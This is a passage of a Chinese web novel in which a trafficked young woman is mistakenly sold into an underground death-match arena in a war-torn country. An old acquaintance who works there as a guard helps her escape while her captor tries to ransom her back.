秋榕榕听不懂他在外面说什么。
但从语气可以判断出,对方非常的不耐烦。
秋榕榕的记忆还停留在周景行一言不发地对她开了一枪。
当时她只记得全身冰凉,像是全身的血液被抽干。
后面因为过度恐惧陷入昏迷。
在这个漆黑狭小地里醒来,秋榕榕没感觉到身上有伤口疼痛。
周景行的那一枪,没真的打在她的身上。
他人呢?
如果不是把她杀了埋在棺材里,那是把她卖了吗?
秋榕榕把嘴唇贴着缝隙,又在外面喊了几声周景行的名字。
没有回应。
秋榕榕泄气地躺在箱子里,不再白费力气。
腹部还是一抽一抽的痛。
下身黏腻的鲜血触感让她浑身不适。
医生说了一大堆坐小月子的注意事项,怎么不说,别把流产后的女人装进箱子里。
接下来就是漫长的等待。
秋榕榕感受到肚子的饥饿。
胃在抽动。
上一顿饭应该是在检查之前。
那个时候她吃了夜宵。
然后就是做噩梦导致流产。
按照肚子的饥饿程度判断,距离上次吃饭,到现在应该是两顿饭的间隔时间。
秋榕榕在箱子里没有人送饭。
她有点担心自己被饿死。
疼痛加饥饿让她很难入睡。
半梦半醒间,秋榕榕感觉到有人搬动箱子。
她赶紧醒过来,趴着箱子的缝隙出朝外看。
她看见码头上,许多像自己一样的箱子。
而每个箱子上都有一个缝隙。
缝隙里,都有一只对外张望的眼睛。
第119章 差错
负责搬运箱子的人喝了酒,在别人问到秋榕榕的箱子属于几区时,少竖了一根手指头。
秋榕榕像货物一样被搬运,她被装进皮卡车,和其中几个箱子一起带到一间类似于监狱的房间里。
“出来!”
秋榕榕被人粗鲁地从箱子里倒了出来,戴上沉重镣铐,镣铐奖金二十斤重,把她的手往下一坠,她只能拖着镣铐,往旁边的墙上靠。
那人看见秋榕榕过于瘦弱,有些奇怪地嘟囔了一句话,因为是当地方言,秋榕榕听不懂,但是从语气里可以听出,他说的不是好话。
房间里有许多其他人。
那些人五大三粗,戴着那镣铐就跟戴着小孩玩具般,大多数人的身上有刺青,肌肉紧实,身上脸上也多有疤痕。
秋榕榕在中间显得格格不入。
她恐惧陌生的环境,躲在拐角处降低存在感。
秋榕榕听见几声嗤笑,似乎是在嘲笑她身板子瘦弱。
送饭的人提的是桶。
桶里是混成一团的菜泡饭,我是那种摔不烂的橡胶碗,每当饭提上来的时候,其他人都会拿着橡胶碗像饿狼扑食般冲到桶的边上,用碗去舀桶里的饭菜。
吃饭不用碗勺,抢到了就往嘴里倒。
秋榕榕端着碗站在人群外围。
那些人的身体形成了一道坚硬无比的肌肉外墙,秋榕榕根本就钻不进去。
这里的人奉行弱肉强食。
没有人会去排队。
秋榕榕在这样的环境下只能饿肚子。
中午的饭,秋榕榕一口都没有抢到。
那些人吃完之后,秋榕榕跑去只看到一个空着横放在地上的桶。
她只能又回到墙角,抱着自己的膝盖,忍着饿肚子,减少体力消耗。
秋榕榕不知道自己为什么会沦落此地。
她脑海里记得的最后一幕,是周景行得知孩子真的没有了之后,一句话都没有说,直接对着她开枪。
他温柔的表情有裂痕,里面是溢出来的水光。
秋榕榕没想到,周景行会这么看重这个孩子。
他在为孩子的死亡感到伤心。
秋榕榕以为周景行是一个看似谦和有礼,实则冷心冷情的人,他对待她过于残忍,以至于秋榕榕觉得他对那个孩子,其实只是一时迷惑,并没有那么看重。
她想错了。
周景行很在乎那个孩子。
那个孩子的出现乱了他们之间的关系,让本来很简单解决的羁绊,又变成了新一代人的恩怨。
因为孩子有一半他的血脉,他甚至想过彻底留下秋榕榕,哪怕是关在地下室里一辈子,也动过不杀她的念头。
而这一丝动摇,随着孩子的死亡产生了新的恨意。
周景行认为,是秋榕榕不要这个孩子。
这个孩子给她带来了恐惧。
她一边和他强调,她有多喜欢多珍惜这个孩子的到来,另一边,又因为孩子的出现而感到恐惧,以至于忧思过重,导致流产。
下午时分,监狱的门被打开。
看守的人员拿着枪,指着房间里的两个男人,押送他们出去。
而等到深夜,那两个人中只回来一个人。
那人伤痕累累,紧实的上身多了三个被刀捅穿的血窟窿,男人倒在一边闭上眼睛,不知死死活。
秋榕榕是指里面所有人中,看起来身体素质最差的。
这个监狱的环境极为恶劣。
房间里充斥着异味,地上还有很多没有清理干净的饭菜,人与人紧紧地挨在一起,每个人身上的味道都不好闻。
秋榕榕尽量和女生在一起。
不过这里的女生因为她瘦胳膊瘦腿,不怎么待见她。
半夜,秋榕榕抱着枷锁睡觉。
“秋榕榕……别睡了醒醒……”
她听见有人在喊她的名字……
喊她的名字!
秋榕榕立刻惊醒,这种地方怎么会有人知道她叫什么。
她循着声音望去。
声音来自牢笼之外。
她睡觉的时候是贴着铁栏杆的那个拐角处。
男人就蹲在牢笼之外。
秋榕榕凑近他,才你看清楚他的面容。
“徐照!你没死啊!”
秋榕榕怎么也没想到会在这种地方遇见徐照,她以为他早就被卖器官的掏空了。
徐照此刻已经看不出当年嚣张跋扈的富二代的模样。
他皮肤又黑又糙,脸上也多了两道疤,从眉毛那里整个断下来,面相显得比之前更加凶狠。
“老子没死,你是不是很失望?”
秋榕榕赶紧摇头,她低头看他缺失的那只手,此时已经变成了黑色的义肢。
这种情况下,能遇见一个熟人简直是不幸中的万幸。
别说是徐照,就算是看见江无渡秋榕榕也会倍感亲切。
徐照嗤笑一声,手穿过监狱围栏,伸手摸了一把秋榕榕的脸,“你想老子死,老子倒是怪想你的。”
——
异国他乡,已经将所有资产转移到国外的周景行正等待着那个属于他的箱子。
江无渡和沈砚川都劝过他。
劝他到此为止。
周景行给过秋榕榕两个选项。
双活或者双死。
孩子死了,周景行便要“杀死”秋榕榕。
在秋榕榕的眼中,他果断无比地开枪。
但周景行知道,那一刻,他在真的杀死她,和注销她的身份运出国之间,来回摇摆。
直到枪响的时候,他才真正地做出抉择。
他的同伴劝他到此为止。
周景行却知道,他想留着她在自己的身边。
他现在所生活的地方是一栋郊区的别墅。
周景行手里端着红茶,侧头看向窗外的风景。
这里的春天风是甜的,阳光呈现奶黄色,像是新舀出来的蜂蜜。
风吹在脸上有暖意。
屋外有一大片郁金香地,蝴蝶在花丛间翩翩起舞,湖泊宛如碎玉,优雅的白天鹅在湖面上缓缓游过,留下金色的涟漪。
他想,秋榕榕应该会喜欢这样的环境。
而就在这样的世外桃源外围,是无尽的海洋。
这里是一片被单独隔离的海岛。
他出行工作,需要乘坐直升机。
对他来说很不方便。
但对于囚禁一个人来说,这样的地方最安全。
不用把人彻底困死在地下室。
也不会给人逃出去的可能。
而此时,周景行接到沈砚川的电话。
“箱子不对,被调换了。”
“秋榕榕不在里面。”
第120章 钻石
监狱里,秋榕榕看见徐照就像是抓住救命稻草。
“这里到底是什么地方?”
徐照在此地看到秋榕榕也觉得有些意外。
当时,江无渡想要把他卖上公海医疗船,在中途转运的过程中,徐家的人把他救了出来。
但在营救的过程中,他们又受到了伏击,救徐照的人全部都在半路中死光,留下他一个人没身份证件无法回国,只能留在这个战乱的国家,找了一个看守的职位勉强过活。
徐照看出秋榕榕的恐慌,他还算良心地给她讲解规则。
“这里是一个地下竞技场,同时也是一个大型赌场。
在这个房间里关着的所有人都需要在竞技场上与人搏斗厮杀,不限武器,不限手段,直到把对方杀死才算赢。
只要赢满十场就可以获得自由。
外围观看的人对于输赢下注,像你这种估计没有人会赌你赢。
比赛七天进行一次,昨天下午的就是最新的一场。”
秋榕榕听他这么说,心里拔凉拔凉的。
“我怎么会被卖到这里?”秋榕榕垂头丧气,她觉得那个买家也太没有眼光了。
她这样,怎么看都不像是会打架的人。
光是手上这二十斤的镣铐,她就不怎么带得动。
更别提让她去打擂台。
“你被卖到这里确实有些奇怪。”徐照也觉得不对劲,“难道是老板买错了?”
被卖到这里的人都是身体素质比较强健,经过精挑细选的“昂贵货”。
秋榕榕身体素质差,就算是在人口贩卖上,也只有年轻一个优势,但她被买进来的身价和其他人一样,都是五百万。
“你有没有被搞错卖入,现在还不清楚,不过你想要离开这里,就需要赚回你身价的十倍,五千万。”
“我没钱。”秋榕榕口袋里现在连五块都没有。
她看向徐照,他现在也不像是有钱人。
“呃……你有没有……”秋榕榕有些不太好意思张口找人借钱。
徐照立刻翻了个白眼,“拜你那个男朋友所赐,我彻底变穷光蛋了。”
“……”
“我之前给你买的那些奢侈品和首饰呢?”徐照撸起她的衣袖,寻找她手腕上是否有首饰,“我可以帮你把那些东西卖掉,换乘的钱用来贿赂排班的工作人员,把你上台的名字往后排。”
“没带,都在国内。”
秋榕榕抿着唇,忽然想起有一件值钱的东西,她浑身上下摸索着,在裤子口袋里找到那枚钻戒。
“这个值钱!”
当时在矿岛上,秋榕榕想要帮助黑皮少女逃跑,把这枚戒指偷偷放进了黑皮少女的口袋里。
但是后来,沈砚川补枪,要杀黑皮少女的时候,秋榕榕哀求着阻止他最后晕厥。
他们最后也没杀黑皮少女,而是给了她一笔钱,放她离开。
沈砚川放人之前先搜身,他搜到了这枚戒指。
周景行最终把戒指带回来,又重回戴在秋榕榕的手指上。
他警告她,不许再把这枚戒指弄丢。
而秋榕榕看见这枚戒指就想起那么多死人,她心里堵,所以把戒指摘下来放在裤子口袋里,没有佩戴。
幸好没有弄丢!
徐照想要伸手拿戒指,秋榕榕把手一缩,“你不会骗我吧?”
徐照瞪大眼睛,没好气地说道:“老子算是看透你了,你这个贱货真没良心!
上次老子用那个刮胡刀差点就割断那个死变态的脖子,功亏一篑,被砍了一只手,你踏马的一次没来看老子,一句话求情的话都没有说!
都说一日夫妻百日,老子好歹也上过你,结果你转头就把老子忘了!
现在救你,你还怀疑老子!去你的!死就死吧!老子懒得管你这鸟事!”
“哎呀哎呀别生气,咋气性这么大呢?”秋榕榕感觉到四周休息的人偷偷用眼睛在瞄这个方向。
这枚钻石在她身上藏不了多久。
一旦被别人发现,很容易被抢走。
秋榕榕赶紧把钻石塞进徐照的手心里。
她低头红着眼睛,拉着徐照的衣袖可怜兮兮地说道:“徐照,你被送走的时候我怀孕了。”
徐照拿到钻石后,塞进衣服里面的口袋,语气冷漠许多,“我们就睡了一次,那个变态后来帮你检查过,你没有怀孕。”
“也有可能月份太小,检查不出来。”
徐照眉头紧皱,“你不会想说你那个孩子是我的吧?”
“有这个可能。”她有些心虚。
其实没可能,秋榕榕很那个孩子就是周景行的。
按照后面的B超单和怀孕时间推测,就是她和周景行在一起的时候怀上的。
好在监狱里光线较暗,而徐照也没周景行那么敏感,他没有看穿她拙劣的演技。
“那孩子呢?”徐照瞅了一眼秋榕榕平坦的小腹。
“掉了,他们害的,我现在还在排恶露,你能不能给我弄几张干净的卫生巾?”
徐照挠了挠后脑勺,整个人显得极为焦躁。
“那几个人也太畜生了,怎么能把刚流产的你卖到这种地方……”徐照嘴里骂骂咧咧,“还有你,我怎么知道那个孩子是不是我的?你当时跟我的时候又不是处,都不知道跟他们多少人睡过了,别把帽子往我身上扣。”
“你爱信不信。”秋榕榕和徐照多说几句话就会心里不适。
他过于尖锐,总是恶语伤人。
徐照见秋榕榕脸色惨白,裤子上还有血,那么重的枷锁戴在她纤细的手腕上,手腕早已磨破,看着实在是可怜。
“烦死了,你说是就是吧,你当时被他们劫持,他们让你干什么你就干什么,你也没得选。”徐照根本就不会说软话。
他能小声说话,就已经算是好脾气。
徐照让秋榕榕被欺负了第一时间喊他。
他离开之后,监狱里最壮实的几个人就围了过来。
他们有男有女。
其中有一位会说中文。
他走到秋榕榕的面前,趾高气扬地伸出手,“把大钻石交出来!”
秋榕榕警惕地看着他们,把自己的口袋一个一个翻开给他们看。
“我的身上没有钻石,不信的话你们可以搜。”
徐照刚走,估计去帮她打点竞技上场的时间表,现在也喊不回来。
她不是面前这些人的对手,不能起冲突。
第121章 牢笼
那些人上来扯秋榕榕的衣服,寻找那颗已经送出去的钻石,她配合着他们搜身,但他们动作太粗糙,总是扯动沉重的镣铐。
“钻石呢?”那些人凶神恶煞,他洗脚就要踹她。
“你们要是动手我就大声喊人,大不了一起受罚!我买进来的身价是五百万,把我弄死了这里的人也不会放过你们!”
秋榕榕进来这里我就发现,里面的人虽然很不好惹,但是没有打架斗殴的事情出现。
这个地下竞技场有自己的规矩。
他们不允许用来格斗的奴隶私底下打斗。
如果想打的话,必须上竞技场。
其他人听不懂秋榕榕叽里咕噜地说些什么。
她蹲在地上,小小的一只。
看着就好欺负。
秋榕榕只能冲着那个唯一会说中文的人喊叫这句话,让他快点去翻译。
那人犹豫片刻,还是和带头的人翻译了秋榕榕所说的话。
他们果然犹豫。
本着欺负人不能空手的原则,他们抢走秋榕榕外面厚一点的袄子,纷纷散开。
监狱森寒,秋榕榕蹲在拐角处。
她不想总是把自己搞得太可怜。
但她的普通弱小,在邪恶之地变成了原罪。
只有守法和平之地,普通的人才能有尊严地活着。
混乱之地,第一个死去的一定是美德善良。
徐照把钻石卖了,把秋榕榕的名单排在两个月之后。
那枚钻石如果在正规的拍卖场上好好炒炒价格,其实能够直接卖到五千万,但现在这颗钻石来路不明且缺少鉴定证书。
在这个战乱的国家,也没有正规的拍卖场。
秋榕榕的上场时间是下下周。
徐照只能以低价将钻石出手。
至于如何让秋榕榕赎身,他需要另想办法。
徐照揣了两个包子放在口袋里。
就是晚上他在食堂里买的。
这里的东西很难吃。
但他看秋榕榕那个样子,就知道她根本抢不到食物。
“给你,快点吃。”徐照从栏杆缝隙里塞进两个包子,“素的,肉的晚上被抢光了。”
“素的就行。”秋榕榕拿着包子往自己的嘴巴里面塞。
她见了太多的血,现在看见肉就有点反胃。
胃像是被刀拧着,饿得疼。
路上徐照是把香菇青菜包揣在口袋里的,那包子还冒着热气,现在吃起来正好。
“吃慢点,我在这里看着,没人会抢你的。”
“饿,我饿了两天了。”秋榕榕手一直抖,她不仅饿,还被人抢了衣服有些冷。
徐照把自己的袄子脱了,披在秋榕榕身上,“就你这个怂样子,没遇到我你就死了。”
秋榕榕腮帮子嚼着包子,冲徐照笑了笑,笑容有些傻气。
“这种环境你还能笑得出来,真是服了你了!”徐照直接一屁股坐在外面地上,“多你一个,老子为了照顾你还得加班。”
“你又是给我送吃的,又是给我送衣服,没事吧?”
“正常。”徐照瞅了她一眼,“这里被关押的格斗奴隶,有的时候为了换吃的经常和守卫睡觉,我和他们说了你和我睡过了,你吃我的穿我的也正常。”
怪不得晚上,有些长得好看的人会和守卫一起出去。
然后大约过一两个小时再回来。
原来是私底下去做交易了。
“这里的老板不管吗?”
“不管,这底下不正规,老板只想赚钱,其他的一概不管。”
秋榕榕还要问其他的事情,结果包子一口塞太多噎住,她拍着自己的心口顺气,然后张着嘴巴缓了好大一会儿,才问道:“可有水?”
“我喝过的。”徐照拿出半瓶矿泉水。
“没事。”秋榕榕把水拿过来,拧开瓶盖,然后嘴唇不碰瓶口,仰着头把水倒进嘴里。
徐照见她这么做,有些不悦,“更亲密的事情都做过,喝口水还嫌我脏啊?”
秋榕榕没理他的阴阳怪气。
她把包子吃完后,又把那半瓶水全部喝光。
吃饱喝足,稍微恢复点血色。
徐照就坐在外面陪她。
“你不走吗?”
“今天我值夜班。”徐照坐在外面修自己的机械手。
“我离开之后,那个变态有没有为难你?”
“有。”秋榕榕点头,“他们认为刀片是我给你的,我和你是同伙,所以连着我一起挨了打。”
“你应该找个机会把他捅死。”
“我还剩一个刀片,但是我的力气远不及你。再说,江无渡被你用刀割过一次喉,肯定有所防备,我要是再动手,大概率碰不到他的边。”
“他们现在人呢?”徐照握紧机械手,捏成拳头,螺丝和齿轮绞紧,连同他心里的恨意,一并变得紧绷,“老子现在一无所有,就这条命,等老子找到他们,一定会和他们同归于尽!”
“我也不知道他们的行踪,只知道他们将国内的资产转移到国外。”秋榕榕裹了裹身上的袄子。
“你应该可以去报警吧?有没有办法先回国内,把这些事情告知警署……”
秋榕榕会下意识地寻求合法途径保障自己的权益。
徐照只觉得她天真,“跨国报案难度极高,如果没有引渡条约,就更加不现实。”
“那就在本地报案,他们杀了那么多人,只要查,一定可以找到证据。”
徐照耸耸肩,“有证据,才会有人帮你查。”
秋榕榕抠着自己的手指甲,“可是先查了才会有证据。”
徐照抬手摸了一下自己眉毛上的疤痕,无情地打破她的幻想,“你以为国外的警署和国内一样呀?在国内你都没有找到机会报警,在国外就别想了。
你要是想指望他们,还不如指望我开车把那些人全部撞死。”
秋榕榕被他这些话说得,感到前景一片灰暗。
而一周后,远在他国的周景行看着面前红色丝绒盒子里,放着的那枚闪耀的钻戒,眼神晦暗不明。
第122章 枷锁
当时为了把秋榕榕销户运出国,周景行把她身上的微型炸弹取掉,以防止她在被装箱运输的过程中,看守贪恋钱财,抢夺项链,导致引发炸弹爆炸。
却没曾想运输过程中发生意外,导致秋榕榕被运往他处。
少了项圈里的定位器。
他们费了一番功夫才查到秋榕榕此时所在何处。
“那边正在打仗,通过这颗钻石的来源可以查到,秋榕榕被误送进地下黑格斗场。”沈砚川两指放大手机里的地图,觉得麻烦,“人倒是花钱就能赎出来,就是很难联系管事的,需要我们亲自到场。”
周景行将那枚戒指重新放好,“我带些人过去接她。”
他的手上还佩戴着当年的素圈戒指,以及秋榕榕第一次送给他的黑曜石手串。
前几日得知秋榕榕被送错地方之后,那串手链无端断裂,他原本想扔了,最后还是把裂开的黑曜石捡起,找匠人维修复原,重新佩戴在手上。
他袖口微卷,露出一截骨节分明的手腕,青色筋络隐隐浮现,黑白相衬,衬得着皮肤愈加冷白。
“金条已经准备好,这边有生意要看顾,我不能和你一同前往。”沈砚川见周景行眉宇间阴云密布,深觉秋榕榕就是祸害。
但周景行喜欢,他只能说:“路上注意安全。”
沈砚川没有喜欢过任何女人,准确地说,他看待谁都抱着一种审视的态度。
他除非有所图谋,否则不会轻易与人结交。
在他心里,利益的牵扯比真心交往更牢靠。
秋榕榕这周因为徐照的打点,没遭太多的罪。
就是身处战乱国,卫生巾等生活物资不好买。
秋榕榕有徐照的照顾,虽然每天能洗澡,但是洗澡水是凉的,她不敢直接冲,只能用毛巾沾着凉水往身上擦。
衣服倒是换了几次,但依靠徐照把旧衣服拿出去,洗完晒干,再拿回来,还不如不洗。
脏的地方依旧是脏,徐照做了二十几年的大少爷,压根就没有太多生活自理能力。
他这几天晚上间隔着过来守夜。
监狱里的人认为秋榕榕和看守关系亲近,不敢再来招惹她。
她也算借徐照的势,清净几天。
“我刷到了你死亡的新闻,你那男朋友下手可真狠。”徐照靠在监狱外的栏杆上斜着眼睛看人。
新闻主页上写着:一女子因创后应激障碍复发,跳入南翡湖身亡。
上面还配着一个泡发的尸体的图片。
“别再说他是我男朋友,我和他是杀人犯和受害者的关系。”秋榕榕总是保持坐姿,把手上沉重的枷锁搭在腿上,压久了腿疼,得换个腿继续压。
“你看人的眼光真差,都快被睡烂了还不知道枕边人是什么德性。”
徐照这段时间对秋榕榕还算是照顾,就是他说话太难听,狗嘴里吐不出象牙。
秋榕榕现在还要仰仗他,自然不会与他争执。
言语只伤心,不伤身。
有些话过滤掉,也就罢了。
不用太当回事。
“知人知面不知心,我遇到他的时候也才十八岁,那个时候,我心里想的是否极泰来,我之前吃过了那么多苦,总得轮到我过上好日子了吧。”
徐晓偏过头看她,“天真。”
秋榕榕唇角勾了勾,“谁家普通人身边,会潜藏着这么多杀人犯呀。”
徐照也觉得好笑,“那你可真是够倒霉的。”
秋榕榕在大学里遇到徐照这种人的时候,其实就已经觉得,她此后人生再遇到的坏人,不会越过他。
结果,徐照在他们三人面前,简直就是小巫见大巫。
桩桩件件,已经不是用倒霉可以概括的。
“我这手腕的镣铐,你有没有办法帮我去掉?实在是太重,我的手快要断了。”
“你那戒指卖剩下的钱不够把你赎出去。”徐照帮她把手铐提起来,让她腰能稍微直一点,而不是为了将就手铐一直曲着。
“我不会跑,没必要一直给我戴着这个东西。能不能帮我往上面打个申请?就算去不掉的话,给我换一个轻一点的手铐。”
“他们都在戴,总不能你一个人搞特殊。”徐照没答应。
以他现在的身份地位,也帮不了这个忙。
秋榕榕不再说话。
徐照陪了她一会,低头看了眼手表上的指针,从口袋里掏出白色塑料药品,拧开瓶盖,倒出两颗白色的小药片,就着秋榕榕的水,仰头吃了下去。
秋榕榕小声提醒道:“这是我喝过的水。”
徐照把矿泉水瓶盖扭上,动作粗鲁地往她怀里一扔,“抠门,你吃的用的穿的,都是我买给你的。”
秋榕榕把矿泉水放在地上,解释道:“不是,我的意思是我喝过了。”
徐照这才明白她的意思。
“没事,我不嫌弃你。”
徐照因为失去了一颗肾,前腰和腰侧有两百多针的缝合线,他需要终身服药,身体也比之前差许多。
他心态还算不错。
被搞得家破人亡,还能坦然地和秋榕榕聊以前的事情。
晚上的时候,徐照会打着和秋榕榕上床的名字,把她带去旁边的小房间两个小时。
小房间有浴室,可以洗澡和换干净衣服。
一开始带秋榕榕去的时候,徐照对她动手动脚,秋榕榕逮着他的胳膊咬了下去,他才知道,她是真的不愿意。
他呲牙咧嘴地坐在床边,看着自己胳膊上的咬痕,骂骂咧咧:“你属狗的呀,咬人咬那么疼!你都没有男朋友,我们再睡一睡也没什么吧,难不成你还准备给自己立个贞洁牌坊?”
“我流产才没多久,医生不允许我短期内同房。”秋榕榕是为自己的身体着想。
“那你用其他地方帮我。”徐照分开腿坐着,他本就是不要脸又歹毒。
秋榕榕身边尽是这些烂人。
“那我回牢里。”她转身要走,拖动锁链哗啦响。
“得了吧,牢里一股馊味,你洗个澡,在这里睡两个小时,我再送你回去。”
秋榕榕不信任地看着他。
徐照有些焦躁地揉了揉头发,他扯着唇角没好气地说道:“你不乐意,我就不动你,要不是我只喜欢黑头发黑眼睛的,像你这种货色送上门来我都不睡。”
“不要把别人当做你排遣寂寞的玩具,我们现在都很惨,但相比起我而言你还是比较幸运的,至少,你还算是自由之身。”
尊严和自由,只有在失去的时候才会感到无比珍贵。
徐照抬头看了她一眼,“你说是就是吧,比惨也不会让老子更开心。”
话虽如此,徐照还是挺喜欢和秋榕榕相处的。
因为她从来不歇斯底里,和她相处起来可以感觉到平和。
后面几天,徐照说话算数,带她来这里休息,没再对她动手动脚。
只是变故出在今晚。
第123章 贪婪
秋榕榕所在的竞技场属于炙手可热的四区。
四区负责人外号“蝮蛇”,是个声名狼藉的女人。
她美艳、毒辣、喜怒无常。
因为身上纹了一条黑色的蝮蛇,才因此得名。
那条蛇盘旋在腰上,绕过后背,最终吐着杏子的舌搭在胸前,看上去凶煞无比。
她是这里的女王,也是疯子。
蝮蛇亲自来监狱找秋榕榕,这个时候徐照正好送秋榕榕回来。
“不是少了一颗肾吗?怎么夜生活还是这样丰富。既然如此,把你留在这里看监狱做看守也是屈才,不如跟着伺候我吧。”她漂亮的丹凤眼在他们身上打转,徐照在她凛然的目光下低下头。
蝮蛇似是不满意他的这个反应。
她稍微透露出一点不满意,徐照挣扎片刻,秋榕榕看见了徐照眼底的屈辱,随后,徐照便跪在地上。
他的膝盖有千斤重,却不得不低头亲吻蝮蛇的高跟鞋。
“是我的荣幸。”他的声音里是隐藏不住的难堪。
蝮蛇这才愉悦地用红色的长指甲捂着嘴,笑得颠倒众生。
她说:“真是一条乖狗。”
徐照低下头颅,不想去看秋榕榕脸上的表情,他怕她看不起他现在的样子,毕竟他自己都受不了这样的自己。
无论是怜悯,还是快意,徐照都不想知道。
秋榕榕见他如此求生,只觉得是在照镜子。
在生命威胁下,只有勇敢的人才会舍弃尊严。
若能站着死,代表勇敢,可惜徐照做不到,秋榕榕也做不到。
蝮蛇勾着红唇,捏着秋榕榕的下巴,凑近看她。
“果真是送错了货,像你这种要是上了竞技场,一拳就会被打死,哪里值我的五百万。”
秋榕榕说道:“你如果愿意送我回国,我还有一些存款和奢侈品,再加上去贷款,应该能勉强凑出五百万还给你。”
“回国?”蝮蛇轻笑,“你现在没有身份,在你们国家的系统里,你已经死了。”
蝮蛇指甲太长,深深地陷进肉里掐得她脸疼。
见秋榕榕面色灰白,蝮蛇总算是松开她。
她身边跟着的帅气男人跪在地上当板凳,蝮蛇自然而然地坐在男人的身上,点燃一支香烟。
“你运气不错,有人找到我的小弟帮你说情,要把你带走。”
蝮蛇的父母要死,她有个亲弟弟当年帮她争地盘的时候挡了一枪,从此变成了瘸子,蝮蛇虽然手段狠,但对这个弟弟算是有求必应。
她慢悠悠地吸了一口烟,吐出白色的烟圈,“那人自称是你的男朋友,我的手下竟然没有查出来他的底细。
不过,他长得真不错,我邀请他共度春宵,他竟然回绝了我。”
她的目光落在秋榕榕苍白的小脸和瘦弱的身体上,“赎你出去的价格昂贵,他对你,倒算是舍得。”
秋榕榕心口一震。
是周景行吗?
可不就是他把她卖来这人间炼狱?
卖了又买,算是怎么回事?
秋榕榕心里知道,周景行的本事比徐照大,如果他愿意接她回去,她肯定能离开这个噩梦般的地方。
所以此时此刻,秋榕榕闭紧嘴巴,竖起耳朵,听蝮蛇的安排。
蝮蛇解开了她的镣铐,把她关在单独的房间里。
秋榕榕以为自己很快就能离开。
结果蝮蛇前前后后来看望秋榕榕三次,那双贪婪的眼睛一次比一次炙热。
到最后,她忍不住亲了亲她的脸颊,在秋榕榕的脸上留下红色的口红印记。
她说:“我可真是捡到宝了!”
眼里,满是不怀好意。
徐照跟随蝮蛇后,身上又添了一些新的伤痕,他那只假手换成了更好的品牌,穿着打扮也更符合以前富贵时的样子。
他现在可以随意走动。
秋榕榕见他脸色难看,问道:“你的肾还好吗?”
一个肾,真辛苦。
“想出家当和尚。”徐照懒洋洋地说,“遇上蝮蛇这种疯女人,老子宁愿剃度。”
向来有施虐欲的徐照,在碰到属性相同的蝮蛇后,被迫成为受虐的那一方。
这简直比挖他的肾还令他感到痛苦。
“先不说我身上的糟心事。”徐照摆摆手,“告诉你一个坏消息,蝮蛇过于贪心三次提价,周景行好像要决定放弃你了。”
“啊?”秋榕榕手指抓着床单,她可不想再留在这个竞技场。
“蝮蛇不知道从哪里得知周景行是做军火生意的,开出天价,要枪,要炸弹,要黄金……”徐照耸耸肩,有些怜悯地看着她,“人心不足蛇吞象,她要的太多,周景行打退堂鼓,不要你了。”
秋榕榕听到这话两眼一黑。
她的手指握住徐照的胳膊,晃了晃,“那你帮我吹吹枕边风,告诉蝮蛇见好就收,我真的不值这么多钱。”
徐照抽出手,笑道:“我一个肾,不太够用,帮不了你。”
秋榕榕没好气的瞪他,“你笑啥?”
“笑你卖不出去。”
秋榕榕被徐照气的心口发闷。
徐照忍不住笑,“行了行了,不逗你。周景行绑了蝮蛇的弟弟,现在她慌了,我带你跑路。”
“你疯了吗?被抓住你会死的。”
“你怕我死?”徐照笑,“老子可真感动。”
秋榕榕凉凉地说道:“我不想和你死在一个地方。”
徐照一边咋舌,一边摇头,“没良心。”
由于一颗肾实在撑不住,他也准备跑路。
见秋榕榕犹豫不决,他有些残忍地说道:“实话告诉你,你现在如果不走的话,按照蝮蛇以往的行事作风,大概率会把你身体的一部分切下来送给周景行,用来威胁他。”
秋榕榕哆嗦了一下,“可蝮蛇的弟弟不也被周景行抓了吗?”
“是啊。”徐照翘起唇角,“所以周景行也会做同样的事情,他们两个人都不会受伤,受伤的是你们这两个人质。”
到时候就是比谁心狠。
秋榕榕脸埋进掌心,低声骂道:“我讨厌这群疯子。”
“走不走?”徐照站在门口,最后一次问。
秋榕榕咬紧牙关,霍然起身。
“走!”
第124章 封锁
徐照对此地地行了如指掌,他带秋榕榕从通风管爬出去。
秋榕榕看着外面断壁残垣,枪声不断,躲在废墟后,问道:“你既然知道这条路,之前为什么不逃?”
徐照干咽下一颗止疼药,“在里面其实还可以,活不算太累,还安全。”
随后,徐照看见一只伸到自己面前的手心。
他挑了挑眉,准备牵上去。
“止疼药能不能也给我一颗?”
原来是要止疼药,徐照误会她的动作,还以为她要他牵着手跑。
徐照从药瓶里倒了一颗给她。
他上下打量着她,“你身上哪里痛?”
秋榕榕把止疼药咬碎了才咽下去,药片苦涩,她舌头发麻,缓了好一会才叹气道:“你应该问我身上哪里不痛,这次若能逃走,我这个身体没几年养不回来。”
徐照不会安慰人,他干巴巴地说道:“我也活不久。”
“其实那个蝮蛇很漂亮,你跟着她也不算亏。
你带我逃跑,我能跟着周景行走,你怎么办?
离开这里,你又失去了谋生之所。”
徐照既然逃出来,就肯定不会再回去。
“没那么简单,你是正常人,你不懂,也不必懂。”
他见秋榕榕一片天真,不知如何告诉她,蝮蛇要他入珠,用滚烫的蜡油烫他,中途还喜欢戴假的玩他,每次都搞得一床单都是血。
忍无可忍,当然是赶紧跑路。
徐照脸上露出扭曲的表情,似是想起了不堪回忆的过往。
秋榕榕敛下好奇心,不再追问。
他们现在没有办法穿过封锁区,去找周景行等人。
“走吧,找个废弃楼层和战争难民躲在一起,等周景行的人来附近搜寻你的踪迹后,你再出来。”
“万一被蝮蛇的人先一步抓到……”秋榕榕听着时不时传来的枪声和爆炸声,死者暴尸荒野,无人掩埋,她害怕他们最后,也是如此。
“那就算我跟着你一起倒霉。”徐照单手叉腰,上下打量她,“你不会真的这么衰吧?”
最近这些事情闹得,秋榕榕对自己都快失去信心。
“不,我们很走运,我们一定能逃走。”秋榕榕口上避谶,像老和尚念经般重复这句话。
墙上塔楼的钟声停止,街道上空无一人,只剩猫从死人身上跳过去,舔舐他们冻硬的脸颊。
徐照找了一栋被轰炸过的废弃楼带着秋榕榕躲进去。
楼里聚集着许多战争难民。
衣衫褴褛的孩童搂着一只没有耳朵的布娃娃,一边啃着发霉的馒头,一边对着废墟下喊妈妈。
太小的孩子不懂死亡,想等待一个再也不会回应的声音。
陌生女人解开了自己的围巾,盖在路边那个孩子的身上。
她自己的孩子早死了,牵着别的孩子的手离开,也是为了给自己寻找一点心灵慰藉。
废墟门口坐着一位年迈的老太太,她的棉袄翻着破口,露出里面塞成团的报纸。
她已经年老昏聩,不仅衣服里塞的是报纸,肠胃里的也只有树皮,她像老树般在那里坐着,很快就会在那里生根发芽,变成废墟的一部分。
秋榕榕第一次如此近距离地见证到战争的残酷。
徐照见秋榕榕面露怜悯,没好气儿地提醒她:“秋榕榕,别怪老子没先提醒你,老子带的吃的就够咱们两个的,别拿去施舍。”
